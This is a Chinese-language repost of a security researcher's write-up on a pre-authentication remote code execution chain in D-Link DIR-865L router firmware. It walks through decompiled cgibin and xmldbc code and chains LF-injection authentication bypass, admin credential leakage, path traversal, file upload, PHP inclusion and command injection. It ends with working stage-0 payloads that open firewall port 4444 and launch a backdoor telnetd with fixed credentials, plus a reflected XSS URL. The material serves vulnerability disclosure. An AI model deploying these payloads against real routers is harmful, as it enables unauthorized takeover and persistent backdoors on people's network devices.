if (pcVar1 != (char *)0x0) {
iVar2 = strcasecmp(pcVar1,"HEAD");
if (iVar2 == 0) {
local_24 = cgibin_parse_request(FUN_00407b30,local_28,0x80000);
}
else {
iVar2 = strcasecmp(pcVar1,"GET");
if (iVar2 == 0) {
local_24 = cgibin_parse_request(FUN_00407b30,local_28,0x80000);
}
else {
iVar2 = strcasecmp(pcVar1,"POST");
if (iVar2 != 0) goto LAB_00408444;
local_24 = cgibin_parse_request(FUN_00407c88,local_28,0x80000);
}
}
if (local_24 < 0) {
if (local_24 == -100) {
__stream = fopen("/htdocs/web/info.php","r");
if (__stream != (FILE *)0x0) {
fclose(__stream);
cgibin_print_http_resp(1,"/info.php","FAIL","ERR_REQ_TOO_LONG",0,"");
}
}
else {
cgibin_print_http_status(400,"unsupported HTTP request","unsupported HTTP request");
}
}
else {
iVar2 = sess_validate();
sprintf(acStack_20,"AUTHORIZED_GROUP=%d",iVar2);
sobj_add_string((int)local_28,acStack_20);
sobj_add_char((int)local_28,10);
sobj_add_string((int)local_28,"SESSION_UID=");
sess_get_uid((int)local_28);
sobj_add_char((int)local_28,10);
pcVar1 = sobj_get_string((int)local_28);
local_24 = xmldbc_ephp((char *)0x0,0,pcVar1,stdout);
}
}
}
}
LAB_00408444:
cgibin_clean_tempfiles();
if (local_28 != (undefined4 *)0x0) {
sobj_del(local_28);
}
return local_24;
}
文件:/htdocs/cgibin
功能:main()
int main(int param_1,char **param_2,int param_3,undefined4 param_4) {
int iVar1;
int local_10;
char *local_c;
local_10 = 1;
local_c = strrchr(*param_2,0x2f);
if (local_c == (char *)0x0) {
local_c = *param_2;
}
else {
local_c = local_c + 1;
}
iVar1 = strcmp(local_c,"scandir.sgi");
if (iVar1 == 0) {
local_10 = scandir_main(param_1,(int)param_2);
}
else {
iVar1 = strcmp(local_c,"phpcgi");
if (iVar1 == 0) {
local_10 = phpcgi_main(param_1,(int)param_2,param_3);
}
...
据我了解,当我们请求扩展名为.php的文件时 ,POST 请求的正文是:
junk=%0aAUTHORIZED_GROUP%3d1%0a_POST_CHECK_NODE%3d/device/account/entry:1/name
在发送到 PHP 引擎之前进行转换:
_POST_junk=nAUTHORIZED_GROUP=1n_POST_CHECK_NODE=/device/account/entry:1/name
基于此,我能够在 /htdocs/web/check_stats.php中识别出一种泄露管理员帐户名和密码的新方法。
文件:/htdocs/web/check_stats.php
HTTP/1.1 200 OK
Content-Type: text/xml
<?
include "/htdocs/phplib/trace.php";
if ($AUTHORIZED_GROUP < 0)
{
$result = "Authenication fail";
}
else
{
$result = "OK";
$code = "";
$message= "";
TRACE_debug("CHECK_NODE=================".$_POST["CHECK_NODE"]);
// get value.
if($_POST["CHECK_NODE"] != "")
{
$code = query($_POST["CHECK_NODE"]);
TRACE_debug("code=============".$code);
}
}
echo "<?xml version="1.0" encoding="utf-8"?>n";
echo "<status>n";
echo "t<result>".$result."</result>n";
echo "t<code>".$code."</code>n";
echo "t<message></message>n";
echo "</status>n";
?>
由于我们控制变量$_POST[“CHECK_NODE”],因此可以通过控制函数的参数来解析路由器配置(XML 文件)并从中提取信息query()。
泄露管理员用户名:
泄露管理员密码:
总结一下第二个漏洞,我想说的是,%0a 当 通过.该漏洞允许我们检索管理员的用户名和密码。供您参考,还可以通过 GET 参数利用通过 LF 注入绕过身份验证。/htdocs/cgibin
会话固定
顾名思义,用户可以设置自己的会话 cookie ( uid),这样我们就不必解析 Web 服务器响应来查找Set-Cookie标头。uid用户固定的Cookie :
路径遍历+任意文件列表
对于固件版本 < v1.07的情况,可以在不进行身份验证的情况下利用此漏洞,并且对于固件版本 >= v1.07进行身份验证(并且不进行路径遍历)的情况下,仍然可以利用此漏洞。
列出当前目录(/var/tmp/storage/)中的文件和目录:
列出路由器根目录 ( / ) 中的文件和目录:
当请求 .sgi脚本时,将调用/usr/sbin/scandir.sgi,它是 .sgi 的符号链接/htdocs/cgibin。
让我们看看下面的调用堆栈/htdocs/cgibin:
-
main()
-
scandir_main()
-
FUN_0041a4c0()
-
opendir()或者chdir() + system(“ls -lh “)
文件:/htdocs/cgibin
功能:FUN_0041a4c0()
undefined4 FUN_0041a4c0(char *param_1,char *param_2,char *param_3,char *param_4) {
int iVar1;
FILE *pFVar2;
__pid_t _Var3;
DIR *pDVar4;
size_t sVar5;
char *pcVar6;
char *local_614;
char *local_610;
byte *local_604;
char acStack_5ec [100];
char acStack_588 [100];
char acStack_524 [100];
char acStack_4c0 [100];
char acStack_45c [64];
undefined4 local_41c;
undefined4 local_418;
undefined4 local_414;
undefined4 local_410;
undefined2 local_40c;
char local_40a;
undefined auStack_409 [1009];
undefined4 local_18;
undefined4 local_14;
pcVar6 = param_4;
iVar1 = strcmp(param_1,"getsmb");
if (iVar1 == 0) {
...
}
else {
iVar1 = strcmp(param_1,"getclient");
if (iVar1 == 0) {
...
}
iVar1 = strcmp(param_1,"getlist");
if (iVar1 == 0) {
local_41c = 0x7261762f;
local_418 = 0x726f702f;
local_414 = 0x5f6c6174;
local_410 = 0x72616873;
local_40c = 0x2f65;
local_40a = ' ';
memset(auStack_409,0,0x3ed);
*)&local_41c,param_2);
pDVar4 = opendir((char *)&local_41c);
if (pDVar4 == (DIR *)0x0) {
local_18 = 0;
}
else {
*)&local_41c);
printf("%c%c%c",0xef,0xbb,0xbf);
fflush(stdout);
-lh ");
closedir(pDVar4);
local_18 = 0;
}
}
else {
...
}
}
return local_18;
}
文件:/htdocs/cgibin
功能:固件版本:1.07scandir_main()
之前
undefined4 scandir_main(int param_1,char *param_2,undefined4 param_3,undefined4 param_4) {
int iVar1;
char *pcVar2;
void *__ptr;
int iVar3;
char *pcVar4;
char *local_30;
char *local_2c;
char *local_28;
char *local_24;
int local_18;
undefined4 local_10;
pcVar4 = param_2;
setuid(0);
setgid(0);
local_24 = (char *)0x0;
local_28 = (char *)0x0;
local_2c = (char *)0x0;
local_30 = (char *)0x0;
if (param_1 < 2) {
local_10 = 0xffffffff;
}
else {
if (param_1 == 2) {
pcVar4 = "start";
iVar1 = strcmp(*(char **)(param_2 + 4),"start");
if (iVar1 == 0) {
FUN_0041b0d0(1);
return 0;
}
}
if (param_1 == 2) {
pcVar4 = "stop";
iVar1 = strcmp(*(char **)(param_2 + 4),"stop");
if (iVar1 == 0) {
FUN_0041b0d0(0);
return 0;
}
}
pcVar2 = getenv("QUERY_STRING");
if (pcVar2 == (char *)0x0) {
local_10 = 0xffffffff;
}
else {
__ptr = FUN_0041b8a4(pcVar2);
local_18 = 0;
iVar1 = local_18;
while( true ) {
local_18 = iVar1;
pcVar2 = *(char **)((int)__ptr + local_18 * 4);
iVar1 = local_18 + 1;
if (pcVar2 == (char *)0x0) break;
pcVar4 = "action";
iVar3 = strcmp(pcVar2,"action");
if (iVar3 == 0) {
local_24 = *(char **)((int)__ptr + iVar1 * 4);
iVar1 = local_18 + 2;
}
else {
pcVar4 = "path";
iVar3 = strcmp(pcVar2,"path");
if (iVar3 == 0) {
local_28 = *(char **)((int)__ptr + iVar1 * 4);
iVar1 = local_18 + 2;
}
else {
pcVar4 = "where";
iVar3 = strcmp(pcVar2,"where");
if (iVar3 == 0) {
local_2c = *(char **)((int)__ptr + iVar1 * 4);
iVar1 = local_18 + 2;
}
else {
pcVar4 = "en";
iVar3 = strcmp(pcVar2,"en");
if (iVar3 == 0) {
local_30 = *(char **)((int)__ptr + iVar1 * 4);
iVar1 = local_18 + 2;
}
}
}
}
}
printHeader(200,pcVar4,param_3,param_4);
fflush(stdout);
iVar1 = FUN_0041a4c0(local_24,local_28,local_2c,local_30);
if (iVar1 == 0) {
free(__ptr);
local_10 = 0;
}
else {
local_10 = 0xffffffff;
}
}
}
return local_10;
}
文件:/htdocs/cgibin
功能:scandir_main()
固件版本:1.07及更高版本
undefined4 scandir_main(int param_1,int param_2) {
bool bVar1;
int iVar2;
char *pcVar3;
void *__ptr;
int iVar4;
undefined3 extraout_var;
char *en;
char *where;
char *path;
char *action;
int local_18;
undefined4 local_10;
setuid(0);
setgid(0);
action = (char *)0x0;
path = (char *)0x0;
where = (char *)0x0;
en = (char *)0x0;
if (param_1 < 2) {
local_10 = 0xffffffff;
}
else if ((param_1 == 2) && (iVar2 = strcmp(*(char **)(param_2 + 4),"start"), iVar2 == 0)) {
FUN_0041c940(1);
local_10 = 0;
}
else if ((param_1 == 2) && (iVar2 = strcmp(*(char **)(param_2 + 4),"stop"), iVar2 == 0)) {
FUN_0041c940(0);
local_10 = 0;
}
else {
pcVar3 = getenv("QUERY_STRING");
if (pcVar3 == (char *)0x0) {
local_10 = 0xffffffff;
}
else {
__ptr = FUN_0041d114(pcVar3);
local_18 = 0;
iVar2 = local_18;
while( true ) {
local_18 = iVar2;
pcVar3 = *(char **)((int)__ptr + local_18 * 4);
iVar2 = local_18 + 1;
if (pcVar3 == (char *)0x0) break;
iVar4 = strcmp(pcVar3,"action");
if (iVar4 == 0) {
action = *(char **)((int)__ptr + iVar2 * 4);
iVar2 = local_18 + 2;
}
else {
iVar4 = strcmp(pcVar3,"path");
if (iVar4 == 0) {
path = *(char **)((int)__ptr + iVar2 * 4);
iVar2 = local_18 + 2;
}
else {
iVar4 = strcmp(pcVar3,"where");
if (iVar4 == 0) {
where = *(char **)((int)__ptr + iVar2 * 4);
iVar2 = local_18 + 2;
}
else {
iVar4 = strcmp(pcVar3,"en");
if (iVar4 == 0) {
en = *(char **)((int)__ptr + iVar2 * 4);
iVar2 = local_18 + 2;
}
}
}
}
}
printHeader(200);
fflush(stdout);
bVar1 = sess_ispoweruser();
if (CONCAT31(extraout_var,bVar1) == 0) {
printf("No Authentication!!");
local_10 = 0xffffffff;
}
else {
pcVar3 = strstr(path,"/..");
if ((pcVar3 == (char *)0x0) && ((*path != '.' || (path[1] != '.')))) {
iVar2 = FUN_0041bd30(action,path,where,en);
if (iVar2 == 0) {
free(__ptr);
local_10 = 0;
}
else {
local_10 = 0xffffffff;
}
}
else {
printf("Invalid Path!!");
local_10 = 0xffffffff;
}
}
}
}
return local_10;
}
path通过操作引用具有序列及其变体的目录的GET 变量../ ,可以通过函数opendir()或 列出文件系统上任意目录中的文件(和目录) chdir() + system(“ls -lh “)。
任意文件上传
当 Web 服务器允许用户在未充分验证文件名称(和扩展名)、类型、内容或大小等信息的情况下将文件上传到其文件系统时,就会出现文件上传漏洞。
将文件上传到存储:
使用先前的漏洞列出存储中的文件和目录:
检索上传文件的内容:
我们将利用此漏洞上传扩展名为 .xml.php的阶段 0 ( stage_0.xml.php ) 。
PHP 文件包含
PHP 与许多其他语言一样,允许包含文件以提供或扩展当前 PHP 文件的功能。此功能由dophp()可以通过以下方式使用的函数提供:
dophp("load", $file);
控制变量$file允许我们将文件包含$file在当前脚本中。
文件:/htdocs/web/getcfg.php
HTTP/1.1 200 OK
Content-Type: text/xml
echo "<?"; xml version="1.0" encoding="utf-8"echo "?>";
<postxml>
include "/htdocs/phplib/trace.php";
function is_power_user()
{
if($_GLOBALS["AUTHORIZED_GROUP"] == "")
{
return 0;
}
if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
{
return 0;
}
return 1;
}
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if(is_power_user() == 1)
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
else
{
/* not a power user, return error message */
echo "t<result>FAILED</result>n";
echo "t<message>Not authorized</message>n";
}
}
</postxml>
在文件/htdocs/web/getcfg.php中,可以控制变量$_POST[“SERVICES”],从而控制变量$GETCFG_SVC和变量的一部分$file(传递给函数的第二个参数,其源代码可以在中dophp()找到 )。遗憾的是,受控文件 ( ) 的扩展名无法更改,并且必须以 .xml.php结尾。FUN_00420d50()/usr/sbin/xmldbc$file
诀窍是上传一个扩展名为 .xml.php的文件(我们的阶段 0)并包含它以运行任意 PHP 代码。
命令注入
通过链接上述漏洞,我们能够在未经身份验证的情况下执行任意 PHP 代码。然而,PHP 引擎核心(/usr/sbin/xmldbc)中可用的功能集是有限的,并且不存在以下功能:
-
exec()
-
passthru()
-
popen()
-
proc_open()
-
shell_exec()
-
system()
为了确定我们可以使用的函数,我们可以读取目录/htdocs/中的所有 PHP 代码,或者对二进制文件进行逆向工程/usr/sbin/xmldbc以使其更加详尽。
引擎支持的PHP函数:
-
ephp_I18N(),通过调用访问I18N()
-
ephp_anchor(),通过调用访问anchor()
-
ephp_ascii(),通过调用访问ascii()
-
ephp_charcodeat(),通过调用访问charcodeat()
-
ephp_clear_all(),通过调用访问clear_all()
-
ephp_cut(),通过调用访问cut()
-
ephp_cut_count(),通过调用访问cut_count()
-
ephp_dec2strf(),通过调用访问dec2strf()
-
ephp_del(),通过调用访问del()
-
ephp_dophp(),通过调用访问dophp()
-
ephp_dump(),通过调用访问dump()
-
ephp_escape(),通过调用访问escape()
-
ephp_event(),通过调用访问event()
-
ephp_fcopy(),通过调用访问fcopy()
-
ephp_fread(),通过调用访问fread()
-
ephp_ftime(),通过调用访问ftime()
-
ephp_fwrite(),通过调用访问fwrite()
-
ephp_get(),通过调用访问get()
-
ephp_i18n(),通过调用访问i18n()
-
ephp_ipv4hostid(),通过调用访问ipv4hostid()
-
ephp_ipv4int2mask(),通过调用访问ipv4int2mask()
-
ephp_ipv4ip(),通过调用访问ipv4ip()
-
ephp_ipv4mask2int(),通过调用访问ipv4mask2int()
-
ephp_ipv4maxhost(),通过调用访问ipv4maxhost()
-
ephp_ipv4networkid(),通过调用访问ipv4networkid()
-
ephp_ipv6addradd(),通过调用访问ipv6addradd()
-
ephp_ipv6addrtype(),通过调用访问ipv6addrtype()
-
ephp_ipv6checkip(),通过调用访问ipv6checkip()
-
ephp_ipv6eui64(),通过调用访问ipv6eui64()
-
ephp_ipv6globalid(),通过调用访问ipv6globalid()
-
ephp_ipv6globalip(),通过调用访问ipv6globalip()
-
ephp_ipv6hostid(),通过调用访问ipv6hostid()
-
ephp_ipv6int2hostid(),通过调用访问ipv6int2hostid()
-
ephp_ipv6ip(),通过调用访问ipv6ip()
-
ephp_ipv6networkid(),通过调用访问ipv6networkid()
-
ephp_isalnum(),通过调用访问isalnum()
-
ephp_isalpha(),通过调用访问isalpha()
-
ephp_isdigit(),通过调用访问isdigit()
-
ephp_isdir(),通过调用访问isdir()
-
ephp_isdomain(),通过调用访问isdomain()
-
ephp_isempty(),通过调用访问isempty()
-
ephp_isfile(),通过调用访问isfile()
-
ephp_isgraph(),通过调用访问isgraph()
-
ephp_isprint(),通过调用访问isprint()
-
ephp_isxdigit(),通过调用访问isxdigit()
-
ephp_map(),通过调用访问map()
-
ephp_movc(),通过调用访问movc()
-
ephp_move(),通过调用访问move()
-
ephp_query(),通过调用访问query()
-
ephp_scut(),通过调用访问scut()
-
ephp_scut_count(),通过调用访问scut_count()
-
ephp_sealpac(),通过调用访问sealpac()
-
ephp_setattr(),通过调用访问setattr()
-
ephp_strchr(),通过调用访问strchr()
-
ephp_strip(),通过调用访问strip()
-
ephp_strlen(),通过调用访问strlen()
-
ephp_strstr(),通过调用访问strstr()
-
ephp_strtoul(),通过调用访问strtoul()
-
ephp_substr(),通过调用访问substr()
-
ephp_tolower(),通过调用访问tolower()
-
ephp_toupper(),通过调用访问toupper()
-
ephp_unlink(),通过调用访问unlink()
-
ephp_urlencode(),通过调用访问urlencode()
与可以通过调用函数从 PHP 代码调用的FUN_00422544()函数相对应的函数容易受到命令注入的攻击。它唯一的参数作为参数传递给函数 。ephp_event()event()system()
文件:/usr/sbin/xmldbc
功能:FUN_00422544()
undefined4 FUN_00422544(int *param_1,undefined4 param_2,int **param_3,undefined4 param_4,int param_5) {
bool bVar1;
undefined4 *puVar2;
int iVar3;
undefined3 extraout_var;
char *pcVar4;
undefined4 *local_18;
undefined4 *local_10;
undefined4 local_c;
local_c = 0xffffffff;
local_10 = (undefined4 *)0x0;
local_18 = (undefined4 *)0x0;
puVar2 = FUN_0041a644((undefined4 *)0x0,(undefined4 *)(param_5 + 8));
if (puVar2 == (undefined4 *)0x0) {
client_printf(*param_1,"n!! %s >>>>>>>>>>>>>>>>>>>>>>>>>n","SYNTAX ERROR",param_4);
client_printf(*param_1,"%s: no argument found !","ephp_event",param_4);
client_printf(*param_1,"n!! %s <<<<<<<<<<<<<<<<<<<<<<<<<n","SYNTAX ERROR",param_4);
local_c = 0xffffffff;
}
else {
local_10 = sobj_new();
local_18 = sobj_new();
if ((local_10 == (undefined4 *)0x0) || (local_18 == (undefined4 *)0x0)) {
pcVar4 = "INTERNAL ERROR";
client_printf(*param_1,"n!! %s >>>>>>>>>>>>>>>>>>>>>>>>>n","INTERNAL ERROR",param_4);
client_printf(*param_1,"memory allocation failed !",pcVar4,param_4);
client_printf(*param_1,"n!! %s <<<<<<<<<<<<<<<<<<<<<<<<<n","INTERNAL ERROR",param_4);
local_c = 0xffffffff;
}
else {
iVar3 = expand_operand_list(param_1,param_2,param_3,local_10,(int)puVar2);
if (-1 < iVar3) {
local_c = 0;
bVar1 = sobj_empty((int)local_10);
if (CONCAT31(extraout_var,bVar1) == 0) {
sobj_add_string((int)local_18,"event ");
pcVar4 = sobj_get_string((int)local_10);
sobj_add_string((int)local_18,pcVar4);
pcVar4 = sobj_get_string((int)local_18);
system(pcVar4);
}
}
}
}
if (local_10 != (undefined4 *)0x0) {
sobj_del(local_10);
}
if (local_18 != (undefined4 *)0x0) {
sobj_del(local_18);
}
return local_c;
}
已知这一点,可以开发以下阶段 0:
文件:stage_0.xml.php
<module>
$_GLOBALS["STAGE_SCRIPT"] = "/tmp/stage_1.sh";
$_GLOBALS["STAGE_OUTPUT"] = "/tmp/stage_1.log";
$write_file = "#!/bin/sh" . "n";
$write_file = $write_file . "/usr/bin/killall telnetd" . "n";
$write_file = $write_file . "/usr/sbin/iptables -A INPUT -m state --state NEW -p tcp --dport 4444 -j ACCEPT &" . "n";
$write_file = $write_file . "/usr/sbin/telnetd -l/usr/sbin/login -u coiffeur:coiffeur -p4444 &" . "n";
$write_file = $write_file . "/bin/echo DONE > ". $_GLOBALS["STAGE_OUTPUT"] . "n";
fwrite("w", $_GLOBALS["STAGE_SCRIPT"], $write_file);
event(";/bin/sh " . $_GLOBALS["STAGE_SCRIPT"]);
$read_file = fread("", $_GLOBALS["STAGE_OUTPUT"]);
echo $read_file;
unlink($_GLOBALS["STAGE_SCRIPT"]);
unlink($_GLOBALS["STAGE_OUTPUT"]);
</module>
获得命令注入的另一种方法是写入文件 /var/run/exec.sh,然后event() 使用字符串EXECUTE作为唯一参数调用函数。这使我们能够开发第二阶段 0:
文件:stage_0_bis.xml.php
<module>
$_GLOBALS["STAGE_OUTPUT"] = "/tmp/stage_1.log";
function execute_cmd($cmd) {
fwrite("w","/var/run/exec.sh",$cmd);
event("EXECUTE");
}
execute_cmd("/usr/bin/killall telnetdn");
execute_cmd("/usr/sbin/iptables -A INPUT -m state --state NEW -p tcp --dport 4444 -j ACCEPT &n");
execute_cmd("/usr/sbin/telnetd -l/usr/sbin/login -u coiffeur:coiffeur -p4444 &n");
execute_cmd("/bin/echo DONE > " . $_GLOBALS["STAGE_OUTPUT"] . "n");
execute_cmd("n");
$read_file = fread("", $_GLOBALS["STAGE_OUTPUT"]);
echo $read_file;
unlink($_GLOBALS["STAGE_OUTPUT"]);
</module>
通过阅读该函数的代码可以看出FUN_00422544(),该函数是二进制文件的包装器/usr/sbin/event。以下是引导过程中执行的脚本/etc/init0.d/S51wlan.sh提供的提示 :
文件:/etc/init0.d/S51wlan.sh
#the event EXECUTE is for helping execute a script. Check "webincl/body/bsc_wlan.php"
echo [$0]: $1 ... > /dev/console
case "$1" in
start|stop)
service WIFI.PHYINF $1
event EXECUTE add "sh /var/run/exec.sh"
;;
*)
echo [$0]: invalid argument - $1 > /dev/console
;;
esac
exit 0
我们现在拥有创建完整漏洞所需的所有信息。
概念证明
反射式 XSS
使用 LF 注入技术,可以重新定义变量:
-
$AUTHORIZED_GROUP
-
$_POST[“ACTION”]
-
$_SERVER[“HTTP_REFERER”]
因此控制文件 /htdocs/webinc/js/tools_fw_rlt.php$referer中的变量和变量的一部分 。$message
文件:/htdocs/webinc/js/tools_fw_rlt.php
<script type="text/javascript">
function Page() {}
Page.prototype =
{
services: null,
OnLoad: function()
{
include "/htdocs/phplib/trace.php";
$referer = $_SERVER["HTTP_REFERER"];
$t = 0;
if ($_GET["PELOTA_ACTION"]=="fwupdate")
...
}
else if ($_POST["ACTION"]=="langupdate")
{
TRACE_debug("ACTION=".$_POST["ACTION"]);
TRACE_debug("FILE=".$_FILES["sealpac"]);
TRACE_debug("FILETYPES=".$_FILETYPES["sealpac"]);
$slp = "/var/sealpac/sealpac.slp";
$title = i18n("Update Language Pack");
if ($_FILES["sealpac"]=="")
{
$title = i18n("Language Pack Upload Fail");
$message = "'".i18n("The language pack image is invalid.")."', ".
"'<a href="".$referer."">".i18n("Click here to return to the previous page.")."</a>'";
}
...
echo "ttvar msgArray = [".$message."];n";
...
当尝试到达路由时,该变量$message通过调用函数打印在服务器响应的正文中:echo()
-
/tools_fw_rlt.php?junk=%0aAUTHORIZED_GROUP%3d1%0a_POST_ACTION%3dlangupdate%0a_SERVER_HTTP_REFERER%3d’];alert(1);var%20msgArray%20=%20[‘
可以访问原文地址:
https://therealcoiffeur.com/c101011.html
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):【路由挖掘-实现CVE编号自由】D-Link DIR-865L-远程代码执行(预授权)